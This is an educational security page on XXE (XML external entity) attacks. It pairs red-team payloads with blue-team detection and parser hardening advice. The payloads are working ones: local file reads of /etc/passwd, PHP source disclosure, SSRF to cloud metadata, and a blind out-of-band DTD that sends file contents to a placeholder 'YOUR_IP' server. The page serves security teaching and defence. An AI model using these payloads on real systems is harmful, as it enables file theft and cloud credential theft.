Skip to content
Pwnversity

XXE (XML entities)

When an XML parser processes documents with external entities enabled and the document is attacker-controlled, the attacker can force the server to read local files, perform SSRF to the internal network or cloud metadata, cause denial of service, and in some environments reach RCE. The root is a misconfigured parser that resolves whatever the XML asks for.

flowchart LR
    A[Attacker] -->|"XML with external entity"| P[XML parser]
    P -->|"resolves the entity"| R["internal file:// or http://"]
    R -->|"content"| P
    P -->|"data leak or SSRF"| A

Threat model

Section titled “Threat model”
  • File read on the server (/etc/passwd, source code, secrets).
  • SSRF: the parser requests http://169.254.169.254/ or internal services (see the SSRF page).
  • DoS: exponential entity expansion (billion laughs).
  • RCE: with dangerous wrappers (expect:// in PHP) or specific chains.

Anatomy

Section titled “Anatomy”

XML allows declaring a DTD with entities. An external entity (SYSTEM) makes the parser load a resource (file or URL). Parameter entities (%) enable blind/OOB XXE by loading an external DTD. It appears anywhere XML is processed: SOAP, SAML, RSS feeds, SVG, DOCX/XLSX documents (ZIP with XML inside), sitemaps, uploaded configs, APIs accepting Content-Type: application/xml.

Variants

Section titled “Variants”
  • In-band: the file content returns in the response.
  • Blind / OOB: no direct output; exfiltrate over an external channel with parameter entities + external DTD.
  • Error-based: force a parser error that includes the data.

Red Team

Section titled “Red Team”

Discovery

Section titled “Discovery”

Any XML input is a candidate. Try declaring a simple entity and see if it resolves; if the endpoint accepts JSON, try switching the Content-Type to XML.

By hand

Section titled “By hand”
<!-- File read (in-band) -->
<?xml version="1.0"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>


<!-- Source read via PHP wrapper (base64) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">


<!-- SSRF to cloud metadata -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- Blind / OOB with external DTD (exfil via your server) -->
<!DOCTYPE x [
  <!ENTITY % ext SYSTEM "http://YOUR_IP/evil.dtd">
  %ext;
]>
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR_IP/?d=%file;'>">
%eval; %exfil;

Advanced exploitation

Section titled “Advanced exploitation”
  • XInclude: when you don’t control the DOCTYPE but do control an XML sub-tree.
  • SVG/Office: upload an SVG or DOCX with XXE to an image/document processor.
  • SAML: XXE in assertion processing can lead to file read/SSRF.
  • DoS: billion laughs / quadratic blowup (don’t run in production).

Tooling

Section titled “Tooling”

Burp Suite, XXEinjector, oxml_xxe (Office documents), and your own server + DTD for blind/OOB.

Impact and chaining

Section titled “Impact and chaining”

Secret reads → access to other systems; SSRF → cloud credentials → account takeover; in specific cases, RCE.

Blue Team

Section titled “Blue Team”

Detection

Section titled “Detection”
  • Incoming XML with <!DOCTYPE / <!ENTITY / SYSTEM / %.
  • Outbound requests from the parser to files or internal network/metadata.
  • CPU/memory spikes from entity expansion.

Telemetry and sources

Section titled “Telemetry and sources”

WAF with XML body inspection, parsing-service logs, segment egress/DNS.

Hardening

Section titled “Hardening”
  1. Disable DTD and external entities in the parser (the root fix). Examples: Java dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); libxml without LIBXML_NOENT/LIBXML_DTDLOAD; .NET XmlReaderSettings { DtdProcessing = Prohibit }; Python defusedxml.
  2. Prefer DTD-less formats (JSON) where possible.
  3. Validate and limit size/entities; keep parsers updated.

Response

Section titled “Response”

Rotate read secrets, review resulting SSRF (cloud credentials), patch the parser config and add DOCTYPE/ENTITY detection.

CVEs and real-world cases

Section titled “CVEs and real-world cases”
  • XXE has affected widely deployed products (e.g. XML integrations in SharePoint, Jenkins and numerous parsers/plugins); it’s a recurring source of file read and SSRF in CVEs.
  • Many enterprise apps with SOAP/SAML have been vulnerable due to parsers with DTD enabled by default.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

Testing checklist

Section titled “Testing checklist”
  • Simple entity tested in every XML input (incl. JSON→XML via Content-Type).
  • File read in-band and, if not, blind/OOB with external DTD.
  • SSRF tested (internal/metadata) via external entity.
  • SVG/Office/SAML/XInclude vectors tested where applicable.
  • Impact documented without DoS in production.

References

Section titled “References”